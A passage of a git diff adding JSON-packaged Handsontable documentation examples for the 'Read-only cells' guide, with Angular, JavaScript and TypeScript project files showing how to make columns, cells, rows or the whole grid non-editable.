serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\nconst dimmedTextRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.opacity = '0.6';\n};\n\n@Component({\n selector: 'example3-read-only-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n data: 'car',\n editor: false,\n renderer: dimmedTextRenderer,\n },\n {\n data: 'year',\n editor: 'numeric',\n },\n {\n data: 'chassis',\n editor: 'text',\n },\n {\n data: 'bumper',\n editor: 'text',\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/read-only-cells/angular/example3.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example3","exampleTitle":"Make a column non-editable","docPermalink":"/read-only-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example4.ts.json new file mode 100644 index 00000000..75529af5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Read-only cells · Make specific cells non-editable · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example4-read-only-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent implements AfterViewInit {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n ngAfterViewInit(): void {\n const hot = this.hotTable?.hotInstance;\n\n hot?.updateSettings({\n cells: (row, _col, prop) => {\n if (hot.getDataAtRowProp(row, prop as string) === 'Nissan') {\n return { editor: false };\n }\n return { editor: 'text' };\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/read-only-cells/angular/example4.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example4","exampleTitle":"Make specific cells non-editable","docPermalink":"/read-only-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example5.ts.json new file mode 100644 index 00000000..4565ca96 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example5.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Read-only cells · Make a row read-only · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example5-read-only-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent implements AfterViewInit {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings ={\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n ngAfterViewInit(): void {\n const hot = this.hotTable?.hotInstance;\n\n hot?.updateSettings({\n cells: (row: number) => {\n return row === 1 ? { readOnly: true } : {};\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/read-only-cells/angular/example5.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example5","exampleTitle":"Make a row read-only","docPermalink":"/read-only-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__exampleReadOnlyGrid.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__exampleReadOnlyGrid.ts.json new file mode 100644 index 00000000..4a1b68f9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__exampleReadOnlyGrid.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Read-only cells · Make the grid read-only · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example-readonly-grid',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings = {\n readOnly: true,\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/read-only-cells/angular/exampleReadOnlyGrid.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"Make the grid read-only","docPermalink":"/read-only-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example1.js.json new file mode 100644 index 00000000..8bb702f0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Read-only cells · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example1');\nconst dimmedTextRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n td.style.opacity = '0.6';\n};\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n {\n data: 'car',\n readOnly: true,\n renderer: dimmedTextRenderer,\n },\n {\n data: 'year',\n },\n {\n data: 'chassis',\n },\n {\n data: 'bumper',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example1.js","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/read-only-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example1.ts.json new file mode 100644 index 00000000..71de298f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Read-only cells · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nconst dimmedTextRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.opacity = '0.6';\n};\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n {\n data: 'car',\n readOnly: true,\n renderer: dimmedTextRenderer,\n },\n {\n data: 'year',\n },\n {\n data: 'chassis',\n },\n {\n data: 'bumper',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example1.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/read-only-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example2.js.json new file mode 100644 index 00000000..f68acaf3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Read-only cells · Make specific cells read-only · 